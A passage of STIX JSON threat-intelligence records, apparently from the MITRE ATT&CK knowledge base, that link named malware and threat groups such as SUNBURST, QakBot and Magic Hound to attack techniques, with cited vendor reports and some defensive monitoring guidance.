2021)","relationship_type":"uses","source_ref":"malware--f2e6af17-3828-4f10-88e7-343591618ddb","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b59f580e-526d-4f80-bf8a-5fed0a5f2f51","type":"relationship","created":"2021-01-25T17:11:41.388Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-25T17:11:41.388Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) used VBScripts to initiate the execution of payloads.(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5a1cf65-c128-4d2e-bd28-54514d1a3aae","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-17T01:22:53.981Z","description":"[GeminiDuke](https://attack.mitre.org/software/S0049) uses HTTP and HTTPS for command and control.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--199463de-d9be-46d6-bb41-07234c1dd5a6","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b5a1d3dd-89ea-442a-8695-1aea2cbccafa","created":"2022-03-14T14:37:50.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.865Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) has the ability to enumerate fixed logical drives on a targeted system.(Citation: Cisco Ukraine Wipers January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b5a39593-27ad-44dc-99f9-fcadc6d464ed","created":"2022-06-30T20:39:33.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne MacMa Nov 2021","description":"Stokes, P. (2021, November 15). Infect If Needed | A Deeper Dive Into Targeted Backdoor macOS.Macma. Retrieved June 30, 2022.","url":"https://www.sentinelone.com/labs/infect-if-needed-a-deeper-dive-into-targeted-backdoor-macos-macma/"},{"source_name":"Objective-See MacMa Nov 2021","description":"Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). Retrieved June 30, 2022.","url":"https://objective-see.org/blog/blog_0x69.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T21:36:53.504Z","description":"[MacMa](https://attack.mitre.org/software/S1016) can use Core Graphics Event Taps to intercept user keystrokes from any text input field and saves them to text files. Text input fields include Spotlight, Finder, Safari, Mail, Messages, and other apps that have text fields for passwords.(Citation: Objective-See MacMa Nov 2021)(Citation: SentinelOne MacMa Nov 2021)","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5a6b7ee-7c1b-41c6-91d8-554ca468426e","type":"relationship","created":"2022-02-07T18:32:59.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"modified":"2022-02-07T18:32:59.186Z","description":"[Lizar](https://attack.mitre.org/software/S0681) can search for processes associated with an anti-virus product from list.(Citation: BiZone Lizar May 2021) ","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b5a76d12-71ed-49bb-ad13-4f136b4faa9d","created":"2022-03-30T14:26:51.855Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands with arguments to install or modify login hooks.","modified":"2022-04-16T02:41:53.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5ae2231-49c3-430d-aade-1dfe499cdb57","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor executed commands and arguments resulting from RC scripts for unusual or unknown applications or behavior","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5ba1f46-0dd0-49f7-9d24-3822153229ba","type":"relationship","created":"2020-05-13T19:39:41.804Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."},{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2020-12-15T00:13:05.767Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) used various implants, including those built with VBScript, on target machines.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5ba9aa4-f2dd-4433-994b-bfe4c7c972fe","type":"relationship","created":"2021-10-13T22:04:28.577Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T14:09:00.755Z","description":"[Nomadic Octopus](https://attack.mitre.org/groups/G0133) has used malicious macros to download additional files to the victim's machine.(Citation: ESET Nomadic Octopus 2018) ","relationship_type":"uses","source_ref":"intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b5baa306-e027-4000-9338-0d9df55c5040","created":"2022-09-26T21:38:26.418Z","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T21:38:26.418Z","description":"During [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), a first-stage downloader installed [Rising Sun](https://attack.mitre.org/software/S0448) to `%Startup%\\mssync.exe` on a compromised host.(Citation: McAfee Sharpshooter December 2018) ","relationship_type":"uses","source_ref":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b5be7685-e717-4775-b636-de6e86423234","created":"2022-03-30T14:26:51.871Z","x_mitre_version":"0.1","external_references":[{"source_name":"CERT-EU Golden Ticket Protection","url":"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf","description":"Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017."},{"source_name":"Stealthbits Detect PtT 2019","url":"https://blog.stealthbits.com/detect-pass-the-ticket-attacks","description":"Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020."},{"source_name":"ADSecurity Detecting Forged Tickets","url":"https://adsecurity.org/?p=1515","description":"Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015."},{"source_name":"Microsoft Kerberos Golden Ticket","url":"https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285","description":"Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket) Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally.","modified":"2022-04-20T00:07:11.150Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5c85267-6a3e-4254-a851-3529f4f80b55","type":"relationship","created":"2020-04-28T18:12:13.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium KONNI Jan 2020","url":"https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b","description":"Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."},{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"modified":"2022-01-25T18:35:55.156Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has used Rundll32 to execute its loader for privilege escalation purposes.(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b5c99a08-a5ab-41fc-88fa-1f3d3f9da504","created":"2024-08-14T22:18:27.331Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:18:27.331Z","description":"[IMAPLoader](https://attack.mitre.org/software/S1152) hides the Windows Console window created by its execution by directly importing the `kernel32.dll` and `user32.dll` libraries `GetConsoleWindow` and `ShowWindow` APIs.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"malware--3058b264-fe6b-46be-8948-2d1fadaf8adf","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b5cbd882-e5dc-468e-b853-5e6e24583741","created":"2022-08-24T19:55:26.487Z","x_mitre_version":"0.1","external_references":[{"source_name":"Proofpoint Bumblebee April 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) can encrypt C2 requests and responses with RC4(Citation: Proofpoint Bumblebee April 2022)","modified":"2022-08-24T19:55:26.487Z","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b5cd5028-8d4c-4564-921e-be3a34a5212d","created":"2022-05-26T14:25:07.772Z","x_mitre_version":"0.1","external_references":[{"source_name":"DFIR Report APT35 ProxyShell March 2022","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has removed mailbox export requests from compromised Exchange servers.(Citation: DFIR Report APT35 ProxyShell March 2022)","modified":"2022-05-26T14:25:07.772Z","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b5cdabeb-0349-4d81-9a34-1d1348a846e4","created":"2023-09-12T18:32:00.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"},{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-18T18:06:39.990Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has used VBS files to execute or establish persistence for additional payloads, often using file names consistent with email themes or mimicking system functionality.(Citation: Proofpoint TA2541 February 2022)(Citation: Cisco Operation Layover September 2021)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b5d1e525-1bb7-43a9-8cb6-0a8d9539b465","created":"2024-10-01T12:04:33.405Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-01T12:04:33.405Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) used spearphishing messages containing items such as tracking pixels to determine if users interacted with malicious messages.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5d200f9-2b85-46c8-980a-0692e49ccdfc","type":"relationship","created":"2020-07-30T17:43:35.421Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T17:42:20.064Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) can collect screenshots of the victim’s machine.(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5dfa67d-4d96-413c-8d35-f20914019303","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.","source_ref":"x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b5dfef8a-32b2-481f-a55d-0bbfbebfc872","created":"2023-04-05T15:16:21.201Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:16:21.201Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can support an HKCMD sideloading start method.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b5e98443-7d3a-4a0a-975d-a5c1d564bd15","created":"2021-09-27T20:05:02.131Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Ransomware September 2020","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021.","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"Kaspersky QakBot September 2021","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.","url":"https://securelist.com/qakbot-technical-analysis/103931/"},{"source_name":"Trend Micro Qakbot May 2020","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021.","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files"},{"source_name":"ATT QakBot April 2021","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"},{"source_name":"Kroll Qakbot June 2020","description":"Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021.","url":"https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks"},{"source_name":"Trend Micro Qakbot December 2020","description":"Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021.","url":"https://success.trendmicro.com/solution/000283381"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-13T21:16:19.884Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has spread through emails with malicious links.(Citation: Trend Micro Qakbot May 2020)(Citation: Kroll Qakbot June 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: ATT QakBot April 2021)(Citation: Kaspersky QakBot September 2021)(Citation: Group IB Ransomware September 2020)(Citation: Trend Micro Black Basta October 2022)\n","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b5ebcf96-92f6-46d3-a9a1-1773e4f3ec02","type":"relationship","created":"2019-06-10T17:44:49.367Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bromium Ursnif Mar 2017","url":"https://www.bromium.com/how-ursnif-evades-detection/","description":"Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019."}],"modified":"2020-06-24T13:57:17.221Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) droppers have used VBA macros to download and execute the malware's full executable payload.(Citation: Bromium Ursnif Mar 2017)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b5edabf5-4ebd-4863-821e-98ba78fcd712","created":"2024-05-22T21:21:25.639Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:21:25.639Z","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) exfiltrates specific files through its command and control framework.(Citation: SentinelOne Agrius 